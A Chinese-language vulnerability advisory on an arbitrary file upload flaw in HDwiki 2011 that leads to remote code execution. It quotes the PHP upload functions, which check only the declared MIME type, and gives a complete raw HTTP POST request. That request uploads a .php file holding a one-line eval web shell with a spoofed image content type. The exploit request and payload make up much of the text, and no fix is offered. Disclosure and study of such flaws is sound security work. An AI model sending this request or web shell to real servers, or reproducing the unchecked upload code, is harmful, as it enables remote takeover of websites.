HDwiki文件上传导致远程代码执行漏洞

漏洞版本:

HDwiki（2011）

漏洞描述:

互动维客开源系统（HDwiki）作为中国第一家拥有自主知识产权的中文维基（Wiki）系统，由互动在线（北京）科技有限公司于2006 年11月28日正式推出，力争为给国内外众多的维基（Wiki）爱好者提供一个免费、易用、功能强大的维基（Wiki）建站系统

lib/file.class.php中

1. function uploadfile($attachment,$target,$maxsize=1024,$is_image=1){
2. $result=array ('result'=>false,'msg'=>'upload mistake');
3. if($is_image){
4. $attach=$attachment;
5. $filesize=$attach['size']/1024;
6. if(0==$filesize){
7. $result['msg']='上传错误';
8. return $result;
9. }
10. if(substr($attach['type'],0,6)!='image/'){
11. $result['msg']='格式错误';
12. return $result;
13. }
14. if($filesize>$maxsize){
15. $result['msg']='文件过大';
16. return $result;
17. }
18. }else{
19. $attach['tmp_name']=$attachment;
20. }
21. $filedir=dirname($target);
22. file::forcemkdir($filedir);
23. if(@copy($attach['tmp_name'],$target)||@move_uploaded_file($attach['tmp_name'],$target)){

没有什么检查 attachment.php里触发

1. function douploadimg(){
2. $imgname=$_FILES['photofile']['name'];
3. $extname=file::extname($imgname);
4. $destfile=$_ENV['attachment']->makepath($extname);
5. $arrupload=file::uploadfile($_FILES['photofile'],$destfile);

<* 参考

http://www.wooyun.org/bugs/wooyun-2010-02706

*>

测试方法:

提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

1. POST /hdwiki/index.php?attachment-uploadimg HTTP/1.1
2. Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword,*/*
3. Referer: http://www.wooyun.org/
4. Accept-Language: zh-cn
5. Content-Type: multipart/form-data; boundary=---------------------------7db261e100f2e
6. User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.2)
7. Host: www.wooyun.org
8. Content-Length: 370
9. Connection: Keep-Alive
10. Cache-Control: no-cache
11. Cookie: Hm_lvt_c12f88b5c1cd041a732dea597a5ec94c=1298002704449; hd_sid=raG13H; hd_auth=4113YBBXXB13XtdR6EXTA1Cb9BuhZMK%2F29wdoHDQJTV5QZOoYd62OHd46iXKqf4Qz%2F5gc6pLm9fZ%2Bdgv68MT; hd_searchtime=1300983373
12. -----------------------------7db261e100f2e
13. Content-Disposition: form-data; name="MAX_FILE_SIZE"
14. 30000
15. -----------------------------7db261e100f2e
16. Content-Disposition: form-data; name="photofile"; filename="C:\fucker\z.php"
17. Content-Type: image/image
18. zzz<?eval($_REQUEST[z])?>
19. -----------------------------7db261e100f2e--

安全建议:

厂商解决方案

目前没有详细解决方案提供：
http://kaiyuan.hudong.com/